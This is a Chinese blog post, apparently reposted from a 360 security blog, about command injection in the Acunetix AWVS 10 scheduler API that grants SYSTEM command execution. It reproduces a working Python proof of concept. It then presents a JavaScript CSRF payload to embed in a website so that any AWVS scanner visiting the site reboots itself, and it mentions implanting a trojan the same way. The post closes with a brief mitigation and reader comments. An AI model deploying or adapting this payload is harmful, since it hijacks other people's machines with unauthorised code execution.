正在阅读:

如何优雅的反击扫描你网站的黑客

8,495

Author:SudoHac@360adlab

今天我们的威胁情报系统显示知名的web漏洞扫描器AWVS 10被爆出一个本地权限提升漏洞,漏洞详情及POC:

https://www.exploit-db.com/exploits/38847/

漏洞分析

根据作者的描述,问题是出现在AWVS 10 的一个任务调度的API上。

在AWVS 10 被安装后,系统会默认安装一个叫做“AcuWVSSchedulerv10”的自启动服务,这个服务是跑在system权限下的。他会监听本地的8183端口,用户可以通过它直接调用接口来给awvs添加新的扫描任务。

如下图所示,通过访问http://127.0.0.1:8183即可完成扫描任务的添加删除和进度查看。

awvs1

在添加任务时,参数里有一项为reporttemplate ,他的作用是选择扫描结束生成报告时所用的模板,研究发现这个参数会被带入WVS的命令行执行。由于系统没有对用户的输入做检查,导致我们可以通过reporttemplate带入任意的参数,形成了命令注入。

通过查看awvs的官方文档

https://www.acunetix.com/blog/docs/acunetix-wvs-cli-operation/

发现wvs命令行下有一个参数为/run,通过它可以执行系统任意命令。因此我们可以使用这个参数获得一个system权限的命令执行。

作者给出的poc如下:

import httplib
import json
from datetime import datetime
import sys
from time import gmtime, strftime
  
  
COMMAND = sys.argv[1] if len(sys.argv) > 1 else "cmd.exe"
ACUHOST = '127.0.0.1'
ACUPORT = 8183
ACUHEADERS = {
    "Content-Type": "application/json; charset=UTF-8",
    "X-Requested-With": "XMLHttpRequest",
    "Accept": "application/json, text/javascript, */*; q=0.01",
    "RequestValidated": "true"
    }
ACUEXPLOIT = "/Crawl http://www.google.it /Run \""+ COMMAND + "\""
ACUDATA = {"scanType":"scan",
           "targetList":"",
           "target":["http://"+"A"*2048],
           "recurse":"-1",
           "date":strftime("%m/%d/%Y", gmtime()),
           "dayOfWeek":"1",
           "dayOfMonth":"1",
           "time": "%s:%s" % (datetime.now().hour, datetime.now().minute+1),
           "deleteAfterCompletion":"False",
           "params":{"profile":"Default",
                     "loginSeq":"<none>",
                     "settings":"Default",
                     "scanningmode":"heuristic",
                     "excludedhours":"<none>",
                     "savetodatabase":"True",
                     "savelogs":"False",
                     "generatereport":"False",
                     "reportformat":"PDF",
                     "reporttemplate":"WVSDeveloperReport.rep " + ACUEXPLOIT,
                     "emailaddress":""}
           }
  
def sendExploit():
    conn = httplib.HTTPConnection(ACUHOST, ACUPORT)
    conn.request("POST", "/api/addScan", json.dumps(ACUDATA), ACUHEADERS)
    resp = conn.getresponse()
    return "%s %s" % (resp.status, resp.reason)
  
print "Acunetix Wvs 10 Local priviledge escalation by Daniele Linguaglossa\n"
print "[+] Command : %s will be executed as SYSTEM" % COMMAND
print "[+] Sending exploit..."
print "[+] Result: "+sendExploit()
print "[+] Done!"

虽然这个api没有做任何的身份鉴权和访问控制,但是由于只是监听了127.0.0.1的端口,他人无法直接访问,所以危害程度降低了很多,作者也只是把它定义为一个权限提升漏洞。

但是真的只能用来本地提权吗?

进一步利用——优雅的反击

作者给出的poc直接向接口发送添加任务的请求,因此可以看出其实这个漏洞是可以通过CSRF主动触发的。于是一个邪恶的想法诞生了,我们可不可以在网页中嵌入包含CSRF利用的js,当有人通过AWVS扫描我们的网站,触发这个js,直接执行命令反击回去呢?

感觉有点异想天开的味道,因为扫描器应该只是做http请求的发送与接收,不会去执行到页面里的js ,但是想起我的偶像mickey说过的话,梦想还是要有的,万一实现了呢?

谨记偶像的教诲,我先搭环境试了下,awvs扫描本地的一个页面,页面里包含如下的js

awvs2

令我吃惊的是,在awvs扫描网站之后,服务器日志确实收到了post请求,页面的js被执行了。

awvs3

看来也许真的可以反击了?我把作者给出的poc改写为通过js提交

<script> 
var time = new Date()
var y = time.getFullYear();
var m = time.getMonth()+1;
var d = time.getDate();
var hours = time.getHours();
var min = time.getMinutes()+1;
var command = "shutdown -r -t 0";
var padding = "http://";
for(i=0;i<2048;i++)padding+="a";
var exp = '{"scanType":"scan","targetList":"","target":["'+padding+'"],"recurse":"-1","date":"'+m+'/'+d+'/'+y+'","dayOfWeek":"1","dayOfMonth":"1","time":"'+hours+':'+min+'","deleteAfterCompletion":"False","params":{"profile":"Default","loginSeq":"<none>","settings":"Default","scanningmode":"heuristic","excludedhours":"<none>","savetodatabase":"True","savelogs":"False","generatereport":"False","reportformat":"PDF","reporttemplate":"WVSDeveloperReport.rep /Crawl http://www.google.it /Run  \\\"'+command+' \\\"","emailaddress":""}}'
var xmlhttp;
if(window.XMLHttpRequest){
  xmlhttp=new XMLHttpRequest();
  }else{
  xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
  }
xmlhttp.open("POST","http://127.0.0.1:8183/api/addScan",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.setRequestHeader("RequestValidated","true");
xmlhttp.send(exp);
</script>

当扫描器扫描我们的网站时,浏览器会向其本地的接口发送请求添加一个立刻执行的扫描任务,然后触发漏洞执行shutdown –r –t 0,让对方机器重启。

随后我使用awvs扫描目标网站,机器被成功重启。当然,想给攻击者种个马也是可以的=。=

视频演示:

原文转自:http://bobao.360.cn/learning/detail/2424.html

请小伙伴们,安装完awvs以后,在windows服务中把awvs的相关服务禁用即可。

目前有:2条访客评论

  1. xin053
    2015-12-19 11:39

    [/发呆] 6666,小白我是渗透新手,一个多月终于又可以看到博主的文章了

  2. Allen
    2017-12-14 15:00

    着很厉害,6666!!!

留下脚印,证明你来过。

*

*

流汗坏笑撇嘴大兵流泪发呆抠鼻吓到偷笑得意呲牙亲亲疑问调皮可爱白眼难过愤怒惊讶鼓掌